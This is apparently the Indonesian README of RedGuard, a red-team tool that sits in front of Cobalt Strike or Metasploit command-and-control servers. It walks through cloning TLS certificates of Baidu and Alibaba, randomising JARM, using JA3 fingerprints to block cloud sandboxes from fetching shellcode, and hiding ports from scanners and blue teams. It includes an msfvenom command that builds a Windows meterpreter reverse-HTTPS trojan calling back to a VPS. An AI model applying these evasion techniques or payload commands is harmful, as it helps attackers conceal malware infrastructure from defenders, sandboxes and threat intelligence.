RedGuard
RedGuard 24.06.18
Bahasa Inggris | 中文文档
RedGuard, alat turunan berdasarkan teknologi kontrol aliran depan command and control (C2), memiliki desain yang lebih ringan, interaksi lalu lintas yang efisien, dan kompatibilitas yang andal dengan pengembangan dalam bahasa pemrograman go. Karena serangan cyber terus berkembang, tim merah dan biru latihan menjadi semakin kompleks, RedGuard dirancang untuk memberikan solusi penyembunyian saluran C2 yang lebih baik untuk tim merah, yang menyediakan kontrol aliran untuk saluran C2, memblokir lalu lintas analisis "berbahaya", dan menyelesaikan seluruh tugas serangan dengan lebih baik.
RedGuard adalah alat kontrol aliran depan C2 yang dapat menghindari deteksi Blue Team, AVS, EDR, Cyberspace Search Engine.
Anda dapat langsung mendownload dan menggunakan versi kompilasi, atau Anda dapat mendownload paket go dari jarak jauh untuk kompilasi dan eksekusi independen.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
Seperti yang ditunjukkan pada gambar di bawah, Tetapkan izin yang dapat dieksekusi dan inisialisasi RedGuard. Proses pertama akan menghasilkan file konfigurasi di direktori home pengguna saat ini untuk mencapai konfigurasi fungsi yang fleksibel. Nama file konfigurasi: .RedGuard_CobaltStrike.ini .
Isi file konfigurasi:
Opsi konfigurasi sertifikat terutama untuk informasi konfigurasi komunikasi HTTPS terenkripsi sertifikat SSL antara sampel dan infrastruktur depan C2. Proksi ini terutama digunakan untuk mengonfigurasi opsi kontrol dalam lalu lintas proksi terbalik. Penggunaan spesifiknya akan dijelaskan secara rinci di bawah ini.
Komunikasi HTTPS terenkripsi sertifikat SSL akan dihasilkan di direktori cert-rsa/ di bawah direktori tempat RedGuard dijalankan. Anda dapat memulai dan menghentikan fungsi dasar alat dengan memodifikasi file konfigurasi (nomor seri sertifikat dibuat sesuai dengan stempel waktu, jangan khawatir terkait dengan fitur ini) . Jika Anda ingin menggunakan sertifikat Anda sendiri , Ganti saja namanya menjadi ca.crt dan ca.key.
openssl x509 -in ca.crt -noout -text
Sidik jari TLS JARM acak diperbarui setiap kali RedGuard dimulai untuk mencegahnya digunakan untuk mengautentikasi infrastruktur C2.
Jika menggunakan sertifikat Anda sendiri, ubah parameter HasCert di file konfigurasi menjadi true untuk mencegah masalah komunikasi normal yang disebabkan oleh ketidakcocokan rangkaian enkripsi CipherSuites dengan sertifikat khusus yang disebabkan oleh pengacakan kebingungan JARM.
# Whether to use the certificate you have applied for true/false
HasCert = falseSaat menyebarkan Fronting Domain untuk menyembunyikan lalu lintas C2, nama domain yang dipercepat tidak memiliki informasi sertifikat HTTPS secara default. Hal ini jelas bermasalah, sehingga Anda perlu memperhatikan konfigurasi sertifikat saat mengkonfigurasi nama domain. Ini juga merupakan dasar default untuk menentukan apakah sampel merupakan lalu lintas front-end domain.
[^Tencent Cloud]: Konfigurasi Sertifikat Jaringan Pengiriman Konten
Saya yakin setiap orang akan memiliki beberapa pertanyaan setelah membaca ini, Bagaimana cara mendapatkan sertifikat yang dikonfigurasi? Jika Anda menggunakan aplikasi Anda sendiri untuk sertifikat, itu tidak akan memenuhi efek anonimitas yang kami harapkan. Di sini Anda dapat menggunakan sertifikat kloning untuk konfigurasi. Mengambil Tencent Cloud sebagai contoh, ditemukan dalam pengujian bahwa itu tidak akan memverifikasi validitas sertifikat yang diunggah khusus. Kita dapat menggunakan sertifikat yang sama dengan situs sebenarnya dari nama domain yang dipercepat untuk memalsukannya. Meskipun sertifikat palsu tidak dapat berkomunikasi ketika mengganti sertifikat default CS dalam keadaan normal, sertifikat tersebut tidak akan memverifikasi validitasnya ketika diterapkan pada akselerasi situs lengkap CDN penyedia layanan cloud dan RedGuard, dan lalu lintas interaktif C2 dapat berkomunikasi secara normal.
Berikut alamat project yang ada di Github
https://github.com/virusdefender/copy-certMeskipun sertifikat di sisi lalu lintas front-end dari domain sampel telah diselesaikan, dari perspektif pemetaan jaringan skala besar, server C2 kami masih terekspos ke dunia luar dan mungkin masih terdeteksi dan dikaitkan dengan server C2 yang sebenarnya. . Saat ini, RedGuard dapat digunakan untuk mengubah sertifikat default depan C2 untuk mencapai anonimitas.
[^informasi intelijen]: Sertifikat TLS
Di atas adalah akibat dari pemalsuan sertifikat server C2. Terlihat kredibel dan tidak kadaluarsa dalam kecerdasan komunitas Threatbook. Cara utama untuk mendapatkan sertifikat digital adalah dengan mengekstrak dan memperbaruinya secara real-time selama analisis sampel di cloud sandbox, namun jelas tidak diverifikasi secara efektif. Nilai status hanya memverifikasi waktu kedaluwarsa. Verifikasi kepercayaan sertifikat hanya boleh didasarkan pada apakah komunikasi normal dapat dicapai.
Perlu dicatat bahwa intelijen Threatbook tidak menandai alamat SNI dan HOST permintaan sampel dengan intelijen sertifikat. Hal ini sebenarnya untuk mencegah terjadinya false positif. Saya pikir ini benar. Sebagai dasar penting untuk membantu peneliti dalam analisis, intelijen ancaman lebih baik tidak lengkap daripada menunjuk ke arah yang salah, yang akan menyebabkan kesalahan penilaian dalam analisis selanjutnya. Jika mengonfigurasi sertifikat untuk akselerasi situs penuh adalah untuk memalsukan sertifikat untuk lalu lintas komunikasi, maka mengonfigurasi sertifikat pra-respons RedGuard C2 adalah untuk membentuk karakteristik perilaku server C2 sebenarnya yang diterapkan di jaringan publik untuk mencapai efek anti-pemetaan, yang mana sangat diperlukan.
Ekstrak nomor seri sertifikat: 55e6acaed1f8a430f9a938c5 , dan lakukan pengkodean HEX untuk mendapatkan sidik jari sertifikat TLS: 26585094245224241434632730821
| AKU P | Pelabuhan | Protokol | Melayani | Negara | Kota | Judul | Waktu |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | Apache httpd | Cina | Suzhou | 百度图片-发现多彩世界 | 28-08-2023 |
| 223.113.xx.207 | 443 | https | JSP3 | Cina | Xuzhou | 403 Dilarang | 28-08-2023 |
| 223.112.xx.48 | 443 | https | JSP3 | Cina | Xuzhou | 403 Dilarang | 28-08-2023 |
| 223.113.xx.40 | 443 | https | JSP3 | Cina | Xuzhou | 403 Dilarang | 28-08-2023 |
| 223.113.xx.31 | 443 | https | JSP3 | Cina | 405 Tidak Diizinkan | 28-08-2023 | |
| 223.113.xx.206 | 443 | https | JSP3 | Cina | Xuzhou | 403 Dilarang | 28-08-2023 |
Jumlah Hasil Pencarian: 2291
Melalui pemetaan dunia maya, ditemukan 2.291 alamat IP independen, dan verifikasi mengonfirmasi bahwa semuanya memiliki sertifikat TLS milik Baidu. Sulit untuk menentukan apakah itu merupakan komunikasi berbahaya hanya berdasarkan lalu lintas komunikasi. Namun, sertifikat TLS untuk fasilitas lalu lintas front-end domain front-end + C2 dipalsukan, berhasil mengganggu pemetaan ruang dan intelijen ancaman, menyebabkan asosiasi informasi yang salah, membuat karakteristik lalu lintas penyerang lebih realistis, dan mencapai tujuan pemalsuan normal lalu lintas komunikasi.
Meskipun tidak ada proses penerusan tersembunyi sebelum fasilitas front-end lalu lintas C2, yang terbaik adalah mengubah sertifikat untuk RedGuard. Secara default, perpustakaan sidik jari apa pun yang dibentuk oleh identifikasi sidik jari dari komponen umum yang saat ini digunakan dalam pemetaan dunia maya menggunakan perilaku karakteristik konfigurasi default dari komponen umum untuk identifikasi. Kelompok yang berbeda mungkin menunjukkan karakteristik unik yang berbeda selama proses penyesuaian ini. Tentu saja pembentukan sidik jari memerlukan pemahaman tertentu tentang komponen target, sehingga dapat mengekstraksi karakteristik default target dan membentuk sidik jari terkait. Di sini, karakteristik perilaku sertifikat RG digunakan untuk pemetaan dunia maya, yang dikaitkan dengan sejumlah besar node RG yang ditempatkan di jaringan publik.
Tidak mengherankan jika penulis dapat mengekstrak sidik jarinya, namun tetap disarankan agar pengguna RedGuard mengubah informasi sertifikat default dan menjadi peretas profesional :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS Anda dapat menggunakan perintah parameter untuk mengubah file konfigurasi. Tentu saja, menurut saya akan lebih mudah untuk memodifikasinya secara manual dengan vim.
Jika Anda langsung mengakses port proxy terbalik, aturan intersepsi akan terpicu. Di sini Anda dapat melihat direktori akar permintaan klien melalui log keluaran, tetapi karena permintaan tersebut tidak membawa kredensial yang diminta yaitu header permintaan HOST yang benar, aturan intersepsi dasar dipicu, dan lalu lintas dialihkan ke https:/ /360.net
Berikut ini hanyalah demonstrasi keluarannya, penggunaan sebenarnya dapat dijalankan di latar belakang melalui nohup ./RedGuard & .
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Tidak sulit untuk melihat dari potongan di atas bahwa 360.net diproksi ke port lokal 8080, 360.com diproksi ke port lokal 4433, dan protokol HTTP yang digunakan juga berbeda. Dalam penggunaan sebenarnya, perlu memperhatikan jenis protokol pendengar. Konsisten dengan pengaturan di sini, dan atur header permintaan HOST yang sesuai.
Seperti yang ditunjukkan pada gambar di atas, jika terjadi akses tidak sah, informasi respons yang kami peroleh juga merupakan informasi kembalinya situs yang dialihkan.
Dalam kasus intersepsi dasar di atas, metode intersepsi default digunakan, lalu lintas ilegal dicegat dengan pengalihan. Dengan memodifikasi file konfigurasi, kita dapat mengubah metode intersepsi dan URL situs yang dialihkan. Faktanya, daripada menyebut ini pengalihan, saya pikir mungkin lebih tepat untuk menggambarkannya sebagai pembajakan, kloning, karena kode status respons yang dikembalikan adalah 200, dan respons diperoleh dari situs web lain untuk meniru situs web yang dikloning/dibajak sebagai sedekat mungkin.
Paket yang tidak valid dapat dirutekan secara salah berdasarkan tiga strategi:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net Redirect = URL pada file konfigurasi menunjuk ke alamat URL yang dibajak. RedGuard mendukung "hot change", yang berarti saat alat berjalan di latar belakang melalui nohup , kita masih dapat memodifikasi file konfigurasi. Konten dimulai dan dihentikan secara real time.
./RedGuard -u --drop true Perhatikan bahwa ketika memodifikasi file konfigurasi melalui baris perintah, opsi -u tidak boleh hilang, jika tidak, file konfigurasi tidak akan berhasil dimodifikasi. Jika Anda perlu mengembalikan pengaturan file konfigurasi default, Anda hanya perlu memasukkan ./RedGuard -u .
Metode intersepsi lainnya adalah DROP, yang secara langsung menutup respons komunikasi HTTP dan diaktifkan dengan menyetel DROP = true . Efek intersepsi spesifiknya adalah sebagai berikut:
Dapat dilihat bahwa kontrol aliran depan C2 secara langsung menutup respons terhadap permintaan ilegal tanpa kode respons HTTP. Dalam pendeteksian pemetaan dunia maya, metode DROP dapat menyembunyikan pembukaan port. Efek spesifiknya dapat dilihat pada kasus berikut. menganalisa.
Saya yakin banyak pengguna akan tertarik dengan respons pembajakan . Prinsip umumnya adalah ketika klien memulai permintaan ke server C2 yang sebenarnya, karena tidak memenuhi aturan masuk, server C2 akan mendapatkan situs normal yang ditentukan dan mengembalikan informasi responsnya. Oleh karena itu, dari sisi permintaan efek, tampaknya berinteraksi dengan layanan IP, namun kenyataannya, server C2 perantara digunakan sebagai server proxy untuk berinteraksi dengan situs normal, dan sulit untuk menemukan kelainan. Jika memenuhi permintaan masuk, permintaan lalu lintas akan diteruskan ke port pendengaran layanan C2 yang sebenarnya untuk interaksi, dan port pendengaran yang sebenarnya telah disaring oleh firewall cloud, hanya mengizinkan akses lokal, dan tidak dapat diakses langsung dari luar. . Jadi dari sudut pandang pembukaan port eksternal, hanya port HTTP/S yang terbuka, dan dalam arti tertentu, ini memang port online C2.
[^Diagram arus lalu lintas]: Proses interaksi lalu lintas server C2
Dalam data pemetaan dunia maya, kode respons port terbuka HTTP/S dari IP adalah 200, bukan lompatan 307, yang lebih otentik.
Sertifikat HTTPS memiliki efek yang sama dengan sertifikat palsu yang disebutkan di atas, dan keduanya merupakan sidik jari dari sertifikat asli.
Saya yakin banyak tim merah akan banyak menggunakan metode penyembunyian seperti fungsi cloud/domain fronting dalam proses pertarungan proyek. Namun dalam konfrontasi ofensif dan defensif saat ini, kedua metode penyembunyian di atas memiliki masalah yang fatal, yaitu dapat langsung terhubung ke layanan C2. Hasilnya tidak diragukan lagi adalah ketika kita mengetahui alamat fungsi cloud atau IP/HOST interaktif dari fronting domain, kita dapat langsung mengakses layanan mendengarkan C2 dan membuktikan bahwa itu adalah fasilitas serangan.
Karena lalu lintas dapat langsung mencapai C2, ada baiknya mempertimbangkan apakah perangkat keamanan dapat melakukan pemindaian CS pada lalu lintas yang tidak sesuai dengan SNI dan HOST untuk mengidentifikasi apakah lalu lintas tersebut berbahaya. Hal yang sama berlaku untuk fungsi cloud atau lingkungan sandbox. Selain sisi sampel, ada juga lebih banyak proses analisis tingkat lalu lintas.
Setelah respons pembajakan, akses langsung ke layanan HTTP dapat berinteraksi dengan situs web secara normal, namun Cscan tidak dapat memindai informasi sampel karena lalu lintas tidak dapat menjangkau pendengar C2 yang sebenarnya. Interaksi normal C2 hanya mungkin terjadi bila karakteristik inisiasi lalu lintas terpenuhi. Namun, ada masalah. Skrip pemindaian C2 harus mematuhi aturan masuk, yang memberikan ujian tertentu pada kemampuan pengkodean analis tim biru. Skrip pemindaian yang umum saat ini berbentuk Nmap.
JA3 menyediakan sidik jari yang lebih mudah dikenali untuk komunikasi terenkripsi antara klien dan server. Ia menggunakan sidik jari TLS untuk mengidentifikasi negosiasi TLS antara klien dan server jahat, sehingga mencapai efek mengaitkan klien jahat. Sidik jari ini mudah dibuat pada platform apa pun menggunakan enkripsi MD5 dan saat ini banyak digunakan dalam intelijen ancaman. Misalnya saja dapat dilihat pada laporan analisis sampel beberapa sandbox untuk membuktikan korelasi antar sampel yang berbeda.
Jika kita dapat menguasai JA3(S) dari server C2 dan klien jahat, meskipun lalu lintas dienkripsi dan alamat IP atau nama domain server C2 tidak diketahui, kita masih dapat mengidentifikasi negosiasi TLS antara klien jahat dan server melalui sidik jari TLS. Saya yakin semua orang dapat memikirkan hal ini setelah melihat ini, yang juga merupakan ukuran untuk menangani metode penyembunyian penerusan lalu lintas seperti domain fronting, reverse proxy, dan fungsi cloud. Melalui identifikasi sampel eksekusi sandbox dan negosiasi TLS komunikasi C2 dan menghasilkan sidik jari JA3(S), yang dapat diterapkan pada intelijen ancaman untuk mencapai penelusuran tambahan.
Saya mengumumkan teknologi ini pada tahun 2022. Saat menguji lingkungan kotak pasir langkah mikro, saya menemukan bahwa meskipun jumlah IP keluar yang meminta interaksi kecil, tidak akurat untuk mengidentifikasi kotak pasir berdasarkan IP, dan ini adalah fitur yang mudah diubah , namun sidik jari JA3-nya unik di lingkungan sistem yang sama. Belakangan, saya menerima masukan bahwa kotak pasir telah menyelesaikan pengacakan sidik jari, namun pengujian terbaru menemukan bahwa kotak pasir tersebut belum sepenuhnya diterapkan. Saya masih berharap bisa menghadapi masalah sidik jari di sisi lalu lintas.
Dari perspektif cloud sandbox, dengan memantau interaksi lalu lintas antara sampel dan server C2, sidik jari JA3(S) dihasilkan untuk mengidentifikasi klien jahat dan dengan demikian membuat asosiasi. Berpikir sebaliknya, sebagai fasilitas kontrol lalu lintas di depan C2, kita juga dapat melakukan operasi tersebut untuk mendapatkan sidik jari JA3 dari permintaan klien. Dengan men-debug lingkungan sandbox yang berbeda, sidik jari JA3 ini diperoleh untuk membentuk perpustakaan sidik jari, sehingga membentuk strategi intersepsi dasar.
Bayangkan bahwa dalam proses interaksi Trojan bertahap, loader pertama-tama akan menarik kode shell dari alamat jarak jauh. Kemudian, ketika lalu lintas mengidentifikasi bahwa permintaan tersebut memenuhi karakteristik cloud sandbox dari pustaka sidik jari JA3, lalu lintas tersebut akan mencegat permintaan berikutnya. Jika kode shell tidak dapat diperoleh, seluruh proses pemuatan tidak dapat diselesaikan, dan kotak pasir secara alami tidak dapat menganalisisnya sepenuhnya. Jika lingkungannya adalah Trojan yang tidak memiliki stageless, maka analisis sandbox juga tidak akan dapat diunggah ke server C2. Saya yakin semua orang telah terbangun dari tidurnya dan menemukan banyak rekaman kotak pasir lama tergantung di C2. Tentu saja, dalam kondisi ideal, kita dapat mengidentifikasi lingkungan sandbox yang berbeda, yang terutama bergantung pada keandalan pustaka sidik jari.
Selama pengujian, saya menemukan bahwa setelah menambahkan sidik jari JA3 dari pustaka permintaan bahasa ZoomEye GO ke pustaka sidik jari dan memantau lalu lintas permintaan RG, sebagian besar permintaan memicu intersepsi dasar fitur pustaka sidik jari JA3. Di sini saya rasa bahasa dasar produk survei dan pemetaan adalah bagian dari tugas pemindaian yang diterapkan dalam bahasa GO. Melalui tautan, logika pemindaian yang terdiri dari berbagai bahasa dasar akhirnya menyelesaikan seluruh tugas pemindaian. Hal ini juga menjelaskan mengapa pemindaian beberapa produk survei dan pemetaan memicu fitur intersepsi sidik jari JA3 pada perpustakaan permintaan bahasa GO. Prinsip aturan pengenalan sama dengan prinsip sidik jari cloud sandbox. Keduanya menggunakan keunikan lingkungan klien permintaan dan perpustakaan permintaan. Berbeda dengan sisi PC, lingkungan permintaan produk ini pada dasarnya tidak akan diubah sesuka hati, yang juga memungkinkan kita untuk menangkap sidik jari sisi lalu lintasnya dan mencegatnya , sehingga dapatkah kita memikirkan apakah perangkat keamanan dapat menggunakan sidik jari JA3 dari deteksi aktif lalu lintas sebagai dasar intersepsi? Tentu saja, ketika lalu lintas bisnis besar, mungkin ada sejumlah alarm palsu. Di sini kami hanya mengusulkan persyaratan produk yang layak secara teoritis.
Pengguna PS juga dapat mengunggah sampel ke sandbox untuk mendapatkan dan memverifikasi sidik jari JA3 mereka dan menambahkannya ke perpustakaan sidik jari. Perlu dicatat bahwa tidak ada artinya jika sandbox hanya mengubah sidik jari JA3 menjadi bukan sidik jari di atas. Yang sebenarnya perlu diselesaikan adalah setiap kali sandbox melakukan analisis dinamis, sidik jarinya tidak sama, dan perubahannya harus memenuhi persyaratan agar tidak terulang sebanyak mungkin. Jika tingkat pengulangannya tinggi, maka akan tetap digunakan sebagai sidik jari.
Saat ini mendukung identifikasi dan intersepsi cloud sandbox ancaman sebagai demonstrasi efek
Konfigurasi dua parameter berikut dalam file konfigurasi menyadari efek perubahan port proxy terbalik. Disarankan untuk menggunakan penyembunyian port default selama tidak bertentangan dengan port server saat ini. Jika harus diubah, maka perhatikan : nilai parameternya agar tidak hilang
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80Perilaku penelusuran tim biru dianalisis melalui log intersepsi permintaan target, yang dapat digunakan untuk melacak peristiwa/masalah koneksi rekan. File log dibuat di direktori tempat RedGuard berjalan, nama file: RedGuard.log .
Bagian ini menjelaskan cara mengkonfigurasi RG untuk mendapatkan alamat IP sebenarnya dari suatu permintaan. Anda hanya perlu menambahkan konfigurasi berikut ke profil perangkat C2, alamat IP sebenarnya dari target diperoleh melalui header permintaan X-Forwarded-For.
http-config {
set trust_x_forwarded_for " true " ;
} Metode konfigurasi mengambil AllowLocation = Jinan, Beijing sebagai contoh. Perhatikan bahwa RedGuard menyediakan dua API untuk atribusi IP terbalik, satu untuk pengguna di Tiongkok daratan dan yang lainnya untuk pengguna di non-Tiongkok daratan, dan secara dinamis dapat menetapkan API mana yang akan digunakan sesuai dengan nama domain geografis yang dimasukkan, jika targetnya adalah Tiongkok. gunakan bahasa Cina untuk wilayah yang ditetapkan, jika tidak gunakan nama tempat dalam bahasa Inggris. Disarankan agar pengguna di Tiongkok daratan menggunakan nama Tiongkok, sehingga keakuratan atribusi dan kecepatan respons API yang diperoleh melalui kueri terbalik adalah pilihan terbaik.
Pengguna PS Tiongkok Daratan, jangan gunakan AllowLocation = Jinan,beijing lewat sini! Tidak masuk akal, karakter pertama dari nilai parameter menentukan API mana yang akan digunakan!
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
Sebelum memutuskan untuk membatasi wilayah, Anda dapat menanyakan alamat IP secara manual dengan perintah berikut.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryDi sini kami menetapkan untuk hanya mengizinkan wilayah Shandong yang online
Lalu lintas legal:
Area permintaan ilegal:
Mengenai hubungan pembatasan geografis, mungkin akan lebih praktis dalam latihan ofensif dan defensif saat ini. Pada dasarnya, target pembatasan latihan ofensif dan defensif provinsi dan kota berada di area yang ditentukan, dan lalu lintas yang diminta oleh area lain dengan sendirinya dapat diabaikan. Fungsi RedGuard ini tidak hanya dapat membatasi satu wilayah, tetapi juga membatasi beberapa wilayah koneksi menurut provinsi dan kota, serta mencegat lalu lintas yang diminta oleh wilayah lain.
Selain daftar hitam IP bawaan vendor keamanan siber di RedGuard, kami juga dapat membatasi sesuai dengan metode daftar putih. Bahkan, saya juga menyarankan bahwa selama penetrasi web, kita dapat membatasi alamat IP online sesuai dengan daftar putih untuk membagi beberapa cara alamat IP.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
Seperti yang ditunjukkan pada gambar di atas, kami membatasi hanya mengizinkan koneksi 127.0.0.1, maka lalu lintas permintaan IP lain akan diblokir.
Fungsi ini lebih menarik. Menetapkan nilai parameter berikut dalam file konfigurasi berarti fasilitas pengatur lalu lintas hanya dapat terhubung dari jam 8:00 hingga 21:00. Skenario aplikasi spesifik di sini adalah selama waktu serangan yang ditentukan, kami mengizinkan komunikasi dengan C2, dan tetap diam di waktu lain. Hal ini juga memungkinkan tim merah untuk tidur nyenyak tanpa khawatir beberapa tim biru yang bertugas di malam hari bosan menganalisis Trojan Anda dan kemudian terbangun karena sesuatu yang tak terlukiskan, hahaha.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard menggunakan profil C2 Lunak. Ini mem-parsing bagian file konfigurasi yang dapat diperluas yang disediakan untuk memahami kontrak dan hanya meneruskan permintaan masuk yang memenuhinya, sambil menyesatkan permintaan lainnya. Bagian seperti http-stager , http-get dan http-post serta uris, header, User-Agent, dll. yang sesuai digunakan untuk membedakan permintaan suar yang sah dari gangguan Internet yang tidak relevan atau paket IR/AV/EDR Di Luar Batas.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
Profil yang ditulis oleh 风起 disarankan untuk menggunakan:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
Di Cobalt Strike 4.7+, Teamserver secara otomatis menghapus header Content-Encoding tanpa pemberitahuan apa pun, yang berpotensi menyebabkan pelanggaran http-(get|post).server yang dapat ditempa. Apalagi jika tidak ada Content-type di pesan respon CS Server, namun setelah diteruskan oleh RedGuard, Content-Type ditambahkan ke header pesan respon, menyebabkan cf melakukan cache halaman dan menyebabkan gangguan.
Setelah RedGuard 23.08.21, fungsi penyesuaian header paket respons telah ditambahkan. Pengguna dapat menyesuaikan dan menghapus informasi header dalam paket respons dengan memodifikasi file konfigurasi untuk mengatasi masalah penguraian yang salah.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13 telah memperbarui fungsi pengenalan sidik jari sampel trojan, yang didasarkan pada penyesuaian bidang Header HTTP dari Profil Lunak sebagai “ nilai garam sampel ” sidik jari untuk mengidentifikasi secara unik pendengar C2 /Host Header yang sama. Selain itu, sidik jari sampel trojan yang dihasilkan dengan menggabungkan bidang permintaan relevan lainnya dapat digunakan untuk mendeteksi keaktifan sampel khusus. Sesuai dengan persyaratan tugas penyerang, fungsi pengenalan sidik jari sampel trojan dapat melakukan " operasi offline " pada sampel yang ingin Anda nonaktifkan, untuk lebih menghindari analisis lalu lintas berbahaya dari komunikasi sampel dan analisis akuisisi muatan serangan PAYLOAD sampel bertahap, dan menyediakan lebih banyak tindakan siluman yang dipersonalisasi untuk penyerang.
Untuk pendengar C2 yang berbeda, kita dapat memberikan alias yang berbeda ke konfigurasi Profil Lunak, menyesuaikan nama bidang dan nilai header terkait sebagai nilai garam sampel, dan menggunakannya sebagai salah satu pembeda antara sampel yang berbeda. Kode berikut adalah untuk tujuan ilustrasi, dan dalam skenario serangan dan pertahanan sebenarnya kita dapat menggunakan bidang paket permintaan HTTP yang lebih realistis sebagai dasar penilaian.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}lalu lintas HTTP
Seperti yang ditunjukkan pada gambar, kami menggunakan contoh nilai Salt dan bidang Host di atas sebagai dasar untuk pembuatan sidik jari. Di sini kita tahu:
Berdasarkan penyambungan nilai-nilai di atas, diperoleh sampel sidik jari sebagai berikut:
22e6db08c5ef1889d64103a290ac145cSekarang setelah kita mengetahui contoh sidik jari di atas, kita dapat mengatur bidang Header khusus dan contoh sidik jari di file konfigurasi RedGuard untuk intersepsi lalu lintas berbahaya. Perlu dicatat bahwa kita dapat memperluas beberapa sampel sidik jari, dipisahkan dengan koma, dan Nama Bidang harus konsisten dengan nama bidang Header yang dikonfigurasi di Profil Lunak
Karena file konfigurasi RedGuard adalah konfigurasi hot, kita tidak perlu me-restart RedGuard untuk mencegat sampel yang ingin kita nonaktifkan. Saat kita ingin sampel diaktifkan kembali, kita hanya perlu menghapus sampel sidik jari yang relevan dari file konfigurasi RedGuard.
Efek demonstrasi:
Jika ada masalah dengan cara di atas, server C2 online sebenarnya tidak dapat langsung disadap oleh firewall, karena permintaan penyeimbangan beban sebenarnya di reverse proxy dibuat oleh IP produsen server cloud.
Dalam pertarungan tunggal, kita dapat menetapkan aturan intersepsi pada firewall server cloud.
Kemudian atur alamat yang ditunjuk oleh proxy menjadi https://127.0.0.1:4433.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Dan karena verifikasi dasar kami didasarkan pada header permintaan HTTP HOST, apa yang kami lihat di lalu lintas HTTP juga sama dengan metode domain fronting, namun biayanya lebih rendah, dan hanya diperlukan satu server cloud.
Untuk pengaturan pendengar, HTTPS Port (C2) diatur ke port proksi terbalik RedGuard, dan HTTPS Port (Bind) adalah port koneksi sebenarnya dari mesin lokal.
Menghasilkan Trojan
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exeTentu saja, sebagai skenario fronting domain, Anda juga dapat mengonfigurasi LHOST Anda untuk menggunakan nama domain apa pun dari CDN pabrikan, dan memperhatikan pengaturan HttpHostHeader agar cocok dengan RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true Penting untuk diperhatikan bahwa pengaturan OverrideRequestHost harus disetel ke true . Hal ini disebabkan oleh fitur dalam cara Metasploit menangani permintaan HTTP/S yang masuk secara default saat membuat konfigurasi untuk staging payload. Secara default, Metasploit menggunakan nilai header Host permintaan masuk (jika ada) untuk konfigurasi tahap kedua, bukan parameter LHOST . Oleh karena itu, tahap pembangunan dikonfigurasi untuk mengirim permintaan langsung ke nama domain tersembunyi Anda karena CloudFront meneruskan domain internal Anda di header Host dari permintaan yang diteruskan. Ini jelas bukan yang kami minta. Dengan menggunakan nilai konfigurasi OverrideRequestHost , kita dapat memaksa Metasploit untuk mengabaikan header Host yang masuk dan sebagai gantinya menggunakan nilai konfigurasi LHOST yang menunjuk ke domain CloudFront asal.
Pendengar diatur ke port saluran sebenarnya yang cocok dengan alamat tujuan penerusan RedGuard.
RedGuard menerima permintaan:
Seperti yang ditunjukkan pada gambar di bawah, ketika aturan intersepsi kami disetel ke DROP, probe sistem pemetaan spasial akan menyelidiki direktori / dari port proxy terbalik kami beberapa kali. Secara teori, paket permintaan yang dikirim melalui pemetaan dipalsukan sebagai lalu lintas normal seperti yang ditunjukkan. Namun setelah beberapa kali mencoba, karena tanda tangan paket permintaan tidak memenuhi persyaratan rilis RedGuard, semuanya ditanggapi dengan Close HTTP. Efek terakhir yang ditampilkan pada platform survei dan pemetaan adalah port proxy terbalik tidak terbuka.
Lalu lintas yang ditunjukkan pada gambar di bawah berarti bahwa ketika aturan intersepsi disetel ke Redirect, kita akan menemukan bahwa ketika probe pemetaan menerima respons, ia akan terus memindai direktori kita. Agen-Pengguna bersifat acak, yang tampaknya sejalan dengan permintaan lalu lintas normal, tetapi keduanya berhasil diblokir.
Platform Pemetaan - Efek Mode Intersepsi Respons Pembajakan:
Platform survei dan pemetaan - efek intersepsi pengalihan:
